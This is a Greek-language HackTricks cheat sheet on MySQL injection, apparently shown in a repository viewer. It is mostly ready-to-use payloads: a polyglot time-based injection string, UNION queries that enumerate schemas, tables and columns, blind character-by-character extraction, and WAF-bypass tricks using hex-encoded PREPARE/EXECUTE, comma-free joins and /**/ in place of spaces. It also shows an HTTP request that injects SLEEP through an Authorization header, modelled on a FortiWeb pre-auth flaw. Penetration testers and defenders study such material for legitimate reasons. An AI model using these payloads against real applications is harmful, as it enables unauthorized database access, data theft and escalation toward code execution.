184 lines
9.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# MySQL injection
{{#include ../../../banners/hacktricks-training.md}}
## Σχόλια
```sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
```
## Ενδιαφέροντα Λειτουργίες
### Επιβεβαίωση Mysql:
```
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
```
### Χρήσιμες συναρτήσεις
```sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```
## Όλες οι εισαγωγές
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
## Ροή
Θυμηθείτε ότι στις "σύγχρονες" εκδόσεις του **MySQL** μπορείτε να αντικαταστήσετε το "_**information_schema.tables**_" με το "_**mysql.innodb_table_stats**_**"** (Αυτό μπορεί να είναι χρήσιμο για να παρακάμψετε τα WAF).
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
```
### **Μόνο 1 τιμή**
- `group_concat()`
- `Limit X,1`
### **Blind one by one**
- `substr(version(),X,1)='r'` ή `substring(version(),X,1)=0x70` ή `ascii(substr(version(),X,1))=112`
- `mid(version(),X,1)='5'`
### **Blind adding**
- `LPAD(version(),1...length(version()),'1')='asd'...`
- `RPAD(version(),1...length(version()),'1')='asd'...`
- `SELECT RIGHT(version(),1...length(version()))='asd'...`
- `SELECT LEFT(version(),1...length(version()))='asd'...`
- `SELECT INSTR('foobarbar', 'fo...')=1`
## Ανίχνευση αριθμού στηλών
Using a simple ORDER
```
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
```
## MySQL Union Based
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF
**Μάθετε εδώ διάφορες επιλογές για να** [**καταχραστείτε μια Mysql injection για να αποκτήσετε ένα SSRF**](mysql-ssrf.md)**.**
## WAF bypass tricks
### Εκτέλεση ερωτημάτων μέσω Προετοιμασμένων Δηλώσεων
Όταν επιτρέπονται οι στοίβες ερωτημάτων, μπορεί να είναι δυνατό να παρακάμψετε τα WAFs αναθέτοντας σε μια μεταβλητή την εξαγωγή σε δεκαεξαδική μορφή του ερωτήματος που θέλετε να εκτελέσετε (χρησιμοποιώντας το SET), και στη συνέχεια να χρησιμοποιήσετε τις δηλώσεις PREPARE και EXECUTE της MySQL για να εκτελέσετε τελικά το ερώτημα. Κάτι σαν αυτό:
```
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
```
Για περισσότερες πληροφορίες παρακαλώ ανατρέξτε σε [αυτήν την ανάρτηση στο blog](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
### Εναλλακτικές του information_schema
Θυμηθείτε ότι στις "σύγχρονες" εκδόσεις του **MySQL** μπορείτε να αντικαταστήσετε το _**information_schema.tables**_ με το _**mysql.innodb_table_stats**_ ή με το _**sys.x$schema_flattened_keys**_ ή με το **sys.schema_table_statistics**.
### MySQLinjection χωρίς ΚΟΜΜΑΤΑ
Επιλέξτε 2 στήλες χωρίς να χρησιμοποιήσετε κανένα κόμμα ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```
### Ανάκτηση τιμών χωρίς το όνομα της στήλης
Αν σε κάποια στιγμή γνωρίζετε το όνομα του πίνακα αλλά δεν γνωρίζετε το όνομα των στηλών μέσα στον πίνακα, μπορείτε να προσπαθήσετε να βρείτε πόσες στήλες υπάρχουν εκτελώντας κάτι σαν:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
Υποθέτοντας ότι υπάρχουν 2 στήλες (η πρώτη είναι το ID) και η άλλη η σημαία, μπορείτε να προσπαθήσετε να κάνετε brute force το περιεχόμενο της σημαίας προσπαθώντας χαρακτήρα προς χαρακτήρα:
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
Περισσότερες πληροφορίες στο [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### Εισαγωγή χωρίς ΚΕΝΑ (`/**/` κόλπο σχολίου)
Ορισμένες εφαρμογές απολυμαίνουν ή αναλύουν την είσοδο του χρήστη με συναρτήσεις όπως `sscanf("%128s", buf)` οι οποίες **σταματούν στον πρώτο χαρακτήρα κενό**.
Δεδομένου ότι το MySQL θεωρεί τη σειρά `/**/` ως σχόλιο *και* ως κενό, μπορεί να χρησιμοποιηθεί για να αφαιρέσει εντελώς τα κανονικά κενά από το payload διατηρώντας ταυτόχρονα το ερώτημα συντακτικά έγκυρο.
Παράδειγμα χρονικά βασισμένης τυφλής εισαγωγής που παρακάμπτει το φίλτρο κενών:
```http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
```
Ποιο είναι το δεδομένο που λαμβάνει η βάση δεδομένων ως:
```sql
' OR SLEEP(5)-- -'
```
Αυτό είναι ιδιαίτερα χρήσιμο όταν:
* Ο ελεγχόμενος buffer είναι περιορισμένος σε μέγεθος (π.χ. `%128s`) και οι κενές θέσεις θα τερματίσουν πρόωρα την είσοδο.
* Εισάγοντας μέσω HTTP headers ή άλλων πεδίων όπου οι κανονικές κενές θέσεις αφαιρούνται ή χρησιμοποιούνται ως διαχωριστικά.
* Συνδυασμένο με `INTO OUTFILE` primitives για να επιτευχθεί πλήρης προ-auth RCE (βλ. την ενότητα MySQL File RCE).
---
### Ιστορία MySQL
Μπορείτε να δείτε άλλες εκτελέσεις μέσα στη MySQL διαβάζοντας τον πίνακα: **sys.x$statement_analysis**
### Εναλλακτικές εκδόσεις**s**
```
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
```
## Άλλοι οδηγοί MYSQL injection
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
## Αναφορές
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../../../banners/hacktricks-training.md}}